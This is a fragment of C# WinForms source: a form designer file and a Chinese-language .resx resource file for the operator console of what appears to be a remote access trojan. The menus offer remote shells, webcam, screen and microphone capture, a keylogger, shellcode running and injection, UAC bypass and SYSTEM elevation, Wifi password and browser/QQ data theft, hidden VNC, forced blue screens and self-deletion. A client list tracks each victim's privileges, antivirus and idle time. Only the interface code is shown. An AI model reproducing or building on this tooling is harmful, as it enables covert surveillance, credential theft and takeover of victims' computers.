this.updateUI.Tick += new System.EventHandler(this.updateUI_Tick);
|
||||
//
|
||||
// notifyIcon
|
||||
//
|
||||
resources.ApplyResources(this.notifyIcon, "notifyIcon");
|
||||
//
|
||||
// pingcheck
|
||||
//
|
||||
this.pingcheck.Interval = 30000;
|
||||
this.pingcheck.Tick += new System.EventHandler(this.pingcheck_Tick);
|
||||
//
|
||||
// childFormHome
|
||||
//
|
||||
resources.ApplyResources(this, "$this");
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.Controls.Add(this.splitContainerHome);
|
||||
this.Controls.Add(this.toolStripMain);
|
||||
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
|
||||
this.Name = "childFormHome";
|
||||
this.ShowInTaskbar = false;
|
||||
this.Load += new System.EventHandler(this.childFormHome_Load);
|
||||
this.splitContainerHome.Panel1.ResumeLayout(false);
|
||||
this.splitContainerHome.Panel2.ResumeLayout(false);
|
||||
((System.ComponentModel.ISupportInitialize)(this.splitContainerHome)).EndInit();
|
||||
this.splitContainerHome.ResumeLayout(false);
|
||||
this.contextMenuStripMain.ResumeLayout(false);
|
||||
this.toolStripMain.ResumeLayout(false);
|
||||
this.toolStripMain.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private ToolStrip toolStripMain;
|
||||
private ToolStripButton toolStripButtoncmd;
|
||||
private ToolStripButton toolStripButtonpowershell;
|
||||
private ToolStripButton toolStripButtonscreen;
|
||||
private ToolStripButton toolStripButtoncamera;
|
||||
private ToolStripButton toolStripButtonfile;
|
||||
private ToolStripButton toolStripButtonprocess;
|
||||
private SplitContainer splitContainerHome;
|
||||
public ListView listViewHome;
|
||||
private ColumnHeader columnHeaderip;
|
||||
private ToolStripButton toolStripButtonnetwork;
|
||||
private ToolStripButton toolStripButtondevice;
|
||||
private ContextMenuStrip contextMenuStripMain;
|
||||
private Timer updateUI;
|
||||
private ImageList imageListblank;
|
||||
private ColumnHeader columnHeaderaddress;
|
||||
private ColumnHeader columnHeadergroup;
|
||||
private ColumnHeader columnHeaderhwid;
|
||||
private ColumnHeader columnHeaderuser;
|
||||
private ColumnHeader columnHeaderos;
|
||||
private ColumnHeader columnHeadercamera;
|
||||
private ColumnHeader columnHeaderinstall;
|
||||
private ColumnHeader columnHeaderav;
|
||||
public ColumnHeader columnHeaderactive;
|
||||
private ToolStripButton toolStripButtonicon;
|
||||
private ToolStripButton toolStripButtondetails;
|
||||
private ToolStripButton toolStripButtonregedit;
|
||||
private ToolStripButton toolStripButtonvoice;
|
||||
private ToolStripButton toolStripButtonkeylogger;
|
||||
public ImageList imageListicon;
|
||||
private ToolStripMenuItem actionToolStripMenuItem;
|
||||
private ToolStripMenuItem runShellcodeToolStripMenuItem;
|
||||
private ToolStripMenuItem clientOptionToolStripMenuItem;
|
||||
private ToolStripMenuItem stopToolStripMenuItem;
|
||||
private ToolStripMenuItem systemOptionToolStripMenuItem;
|
||||
private ToolStripMenuItem restartToolStripMenuItem;
|
||||
private ToolStripMenuItem disconnnectToolStripMenuItem;
|
||||
private ToolStripMenuItem updateToolStripMenuItem;
|
||||
private ToolStripMenuItem deleteSelfToolStripMenuItem;
|
||||
private ToolStripMenuItem reBootToolStripMenuItem;
|
||||
private ToolStripMenuItem powerOffToolStripMenuItem;
|
||||
private ToolStripMenuItem functionToolStripMenuItem;
|
||||
private ToolStripMenuItem cMDToolStripMenuItem;
|
||||
private ToolStripMenuItem powershellToolStripMenuItem;
|
||||
private ToolStripMenuItem desktopToolStripMenuItem;
|
||||
private ToolStripMenuItem webcamToolStripMenuItem;
|
||||
private ToolStripMenuItem fileToolStripMenuItem;
|
||||
private ToolStripMenuItem processToolStripMenuItem;
|
||||
private ToolStripMenuItem netstatToolStripMenuItem;
|
||||
private ToolStripMenuItem deviceToolStripMenuItem;
|
||||
private ToolStripMenuItem registryToolStripMenuItem;
|
||||
private ToolStripMenuItem voiceToolStripMenuItem;
|
||||
private ToolStripMenuItem keyloggerToolStripMenuItem;
|
||||
private ToolStripMenuItem logOutToolStripMenuItem;
|
||||
private ToolStripMenuItem othersToolStripMenuItem;
|
||||
private ToolStripMenuItem bsodToolStripMenuItem;
|
||||
private ToolStripMenuItem hvncToolStripMenuItem;
|
||||
private ToolStripMenuItem informationCollectionToolStripMenuItem;
|
||||
private ToolStripMenuItem informationToolStripMenuItem;
|
||||
private ToolStripMenuItem wifiPasswordToolStripMenuItem;
|
||||
private ToolStripMenuItem messageBoxToolStripMenuItem;
|
||||
private ToolStripMenuItem visitWebsiteToolStripMenuItem;
|
||||
public RichTextBox richTextBoxlog;
|
||||
private ToolStripMenuItem noteToolStripMenuItem;
|
||||
private ToolStripMenuItem lockScreenToolStripMenuItem;
|
||||
private ToolStripMenuItem lockToolStripMenuItem;
|
||||
private ToolStripMenuItem unlockToolStripMenuItem;
|
||||
private ColumnHeader columnHeaderping;
|
||||
private ColumnHeader columnHeaderlastinput;
|
||||
public NotifyIcon notifyIcon;
|
||||
private Timer pingcheck;
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,990 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="columnHeaderaddress.Text" xml:space="preserve">
|
||||
<value>地址</value>
|
||||
</data>
|
||||
<data name="columnHeadergroup.Text" xml:space="preserve">
|
||||
<value>分组</value>
|
||||
</data>
|
||||
<data name="columnHeaderuser.Text" xml:space="preserve">
|
||||
<value>用户名/权限</value>
|
||||
</data>
|
||||
<data name="columnHeaderos.Text" xml:space="preserve">
|
||||
<value>系统版本</value>
|
||||
</data>
|
||||
<data name="columnHeadercamera.Text" xml:space="preserve">
|
||||
<value>摄像头</value>
|
||||
</data>
|
||||
<data name="columnHeaderinstall.Text" xml:space="preserve">
|
||||
<value>安装时间</value>
|
||||
</data>
|
||||
<data name="columnHeaderav.Text" xml:space="preserve">
|
||||
<value>安全软件</value>
|
||||
</data>
|
||||
<data name="columnHeaderactive.Text" xml:space="preserve">
|
||||
<value>活动窗口</value>
|
||||
</data>
|
||||
<data name="columnHeaderlastinput.Text" xml:space="preserve">
|
||||
<value>无操作时间</value>
|
||||
</data>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="runShellcodeToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>156, 22</value>
|
||||
</data>
|
||||
<data name="runShellcodeToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>运行Shellcode</value>
|
||||
</data>
|
||||
<data name="injectShellcodeToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>156, 22</value>
|
||||
</data>
|
||||
<data name="injectShellcodeToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>注入Shellcode</value>
|
||||
</data>
|
||||
<data name="fromURLToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>136, 22</value>
|
||||
</data>
|
||||
<data name="fromURLToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>从链接下载</value>
|
||||
</data>
|
||||
<data name="fromDiskToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>136, 22</value>
|
||||
</data>
|
||||
<data name="fromDiskToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>直接发送</value>
|
||||
</data>
|
||||
<data name="sendFileToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>156, 22</value>
|
||||
</data>
|
||||
<data name="sendFileToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>执行文件</value>
|
||||
</data>
|
||||
<data name="lockToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>100, 22</value>
|
||||
</data>
|
||||
<data name="lockToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>锁屏</value>
|
||||
</data>
|
||||
<data name="unlockToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>100, 22</value>
|
||||
</data>
|
||||
<data name="unlockToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>解锁</value>
|
||||
</data>
|
||||
<data name="lockScreenToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>156, 22</value>
|
||||
</data>
|
||||
<data name="lockScreenToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>锁屏</value>
|
||||
</data>
|
||||
<data name="codedomToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>156, 22</value>
|
||||
</data>
|
||||
<data name="codedomToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>编译</value>
|
||||
</data>
|
||||
<data name="reverseProxyToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>156, 22</value>
|
||||
</data>
|
||||
<data name="reverseProxyToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>反向代理</value>
|
||||
</data>
|
||||
<data name="messageBoxToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>156, 22</value>
|
||||
</data>
|
||||
<data name="messageBoxToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>消息弹窗</value>
|
||||
</data>
|
||||
<data name="visitWebsiteToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>156, 22</value>
|
||||
</data>
|
||||
<data name="visitWebsiteToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>访问网站</value>
|
||||
</data>
|
||||
<data name="actionToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="actionToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>操作</value>
|
||||
</data>
|
||||
<data name="cMDToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="cMDToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>远程CMD</value>
|
||||
</data>
|
||||
<data name="powershellToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="powershellToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>远程Powershell</value>
|
||||
</data>
|
||||
<data name="desktopToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="desktopToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>远程桌面</value>
|
||||
</data>
|
||||
<data name="webcamToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="webcamToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>摄像头</value>
|
||||
</data>
|
||||
<data name="fileToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="fileToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>文件浏览器</value>
|
||||
</data>
|
||||
<data name="processToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="processToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>进程管理</value>
|
||||
</data>
|
||||
<data name="netstatToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="netstatToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>网络连接</value>
|
||||
</data>
|
||||
<data name="deviceToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="deviceToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>设备管理器</value>
|
||||
</data>
|
||||
<data name="registryToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="registryToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>注册表编辑器</value>
|
||||
</data>
|
||||
<data name="voiceToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="voiceToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>监听声音</value>
|
||||
</data>
|
||||
<data name="keyloggerToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>162, 22</value>
|
||||
</data>
|
||||
<data name="keyloggerToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>键盘记录</value>
|
||||
</data>
|
||||
<data name="functionToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="functionToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>功能</value>
|
||||
</data>
|
||||
<data name="bypassUACToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>153, 22</value>
|
||||
</data>
|
||||
<data name="bypassUACToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>绕过UAC</value>
|
||||
</data>
|
||||
<data name="getSystemToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>153, 22</value>
|
||||
</data>
|
||||
<data name="getSystemToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>提升至System</value>
|
||||
</data>
|
||||
<data name="privilegeElevationToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="privilegeElevationToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>权限提升</value>
|
||||
</data>
|
||||
<data name="installToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="installToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>安装</value>
|
||||
</data>
|
||||
<data name="uninstallToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="uninstallToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>取消安装</value>
|
||||
</data>
|
||||
<data name="installOptionToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="installOptionToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>安装选项</value>
|
||||
</data>
|
||||
<data name="noteToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>148, 22</value>
|
||||
</data>
|
||||
<data name="noteToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>备注</value>
|
||||
</data>
|
||||
<data name="stopToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>148, 22</value>
|
||||
</data>
|
||||
<data name="stopToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>停止</value>
|
||||
</data>
|
||||
<data name="disconnnectToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>148, 22</value>
|
||||
</data>
|
||||
<data name="disconnnectToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>断开连接</value>
|
||||
</data>
|
||||
<data name="restartToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>148, 22</value>
|
||||
</data>
|
||||
<data name="restartToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>重启</value>
|
||||
</data>
|
||||
<data name="updateToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>148, 22</value>
|
||||
</data>
|
||||
<data name="updateToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>升级</value>
|
||||
</data>
|
||||
<data name="deleteSelfToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>148, 22</value>
|
||||
</data>
|
||||
<data name="deleteSelfToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>删除自身文件</value>
|
||||
</data>
|
||||
<data name="clientOptionToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="clientOptionToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>客户端</value>
|
||||
</data>
|
||||
<data name="reBootToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>100, 22</value>
|
||||
</data>
|
||||
<data name="reBootToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>重启</value>
|
||||
</data>
|
||||
<data name="powerOffToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>100, 22</value>
|
||||
</data>
|
||||
<data name="powerOffToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>关机</value>
|
||||
</data>
|
||||
<data name="logOutToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>100, 22</value>
|
||||
</data>
|
||||
<data name="logOutToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>注销</value>
|
||||
</data>
|
||||
<data name="systemOptionToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="systemOptionToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>系统</value>
|
||||
</data>
|
||||
<data name="informationToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>126, 22</value>
|
||||
</data>
|
||||
<data name="informationToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>基础信息</value>
|
||||
</data>
|
||||
<data name="wifiPasswordToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>126, 22</value>
|
||||
</data>
|
||||
<data name="wifiPasswordToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>Wifi 密码</value>
|
||||
</data>
|
||||
<data name="qQOnlineToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>144, 22</value>
|
||||
</data>
|
||||
<data name="qQOnlineToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>获取在线QQ</value>
|
||||
</data>
|
||||
<data name="clientKeyToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>144, 22</value>
|
||||
</data>
|
||||
<data name="cloneToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>100, 22</value>
|
||||
</data>
|
||||
<data name="cloneToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>克隆</value>
|
||||
</data>
|
||||
<data name="iMToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>126, 22</value>
|
||||
</data>
|
||||
<data name="iMToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>聊天软件</value>
|
||||
</data>
|
||||
<data name="browserToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>126, 22</value>
|
||||
</data>
|
||||
<data name="browserToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>浏览器</value>
|
||||
</data>
|
||||
<data name="informationCollectionToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="informationCollectionToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>信息收集</value>
|
||||
</data>
|
||||
<data name="bsodToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="bsodToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>强制蓝屏</value>
|
||||
</data>
|
||||
<data name="hvncToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="othersToolStripMenuItem.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>124, 22</value>
|
||||
</data>
|
||||
<data name="othersToolStripMenuItem.Text" xml:space="preserve">
|
||||
<value>其他</value>
|
||||
</data>
|
||||
<data name="contextMenuStripMain.Size" type="System.Drawing.Size, System.Drawing">
|
||||
<value>125, 180</value>
|
||||
</data>
|
||||
<data name="imageListicon.ImageStream" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>
|
||||
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
|
||||
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
|
||||
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABW
|
||||
FgAAAk1TRnQBSQFMAwEBAAEgAQEBIAEBAYABAAGAAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAQA
|
||||
AQICAAGAAwABAQEAAQgHAAEBFwABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA
|
||||
AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA
|
||||
AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm
|
||||
AwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIAATMB/wIAAWYDAAFmATMCAAJmAgABZgGZ
|
||||
AgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkCAAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFm
|
||||
AgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIAAf8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEz
|
||||
AQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMCAAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFm
|
||||
AgABMwFmATMBAAEzAmYBAAEzAWYBmQEAATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFm
|
||||
AQABMwKZAQABMwGZAcwBAAEzAZkB/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEA
|
||||
ATMBzAH/AQABMwH/ATMBAAEzAf8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFm
|
||||
AQABZgEAAWYBAAGZAQABZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFm
|
||||
ATMBzAEAAWYBMwH/AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFm
|
||||
AQABZgKZAQABZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEA
|
||||
AWYB/wIAAWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZ
|
||||
AQABmQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEz
|
||||
AQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQACmQH/
|
||||
AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZAf8BMwEA
|
||||
AZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQABzAEAAZkBAAHM
|
||||
AQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/AQABzAFmAgABzAFm
|
||||
ATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkBMwEAAcwBmQFmAQABzAKZ
|
||||
AQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPMAQACzAH/AQABzAH/AgABzAH/
|
||||
ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQABMwEAAf8BAAFmAQAB/wEAAZkBAAHM
|
||||
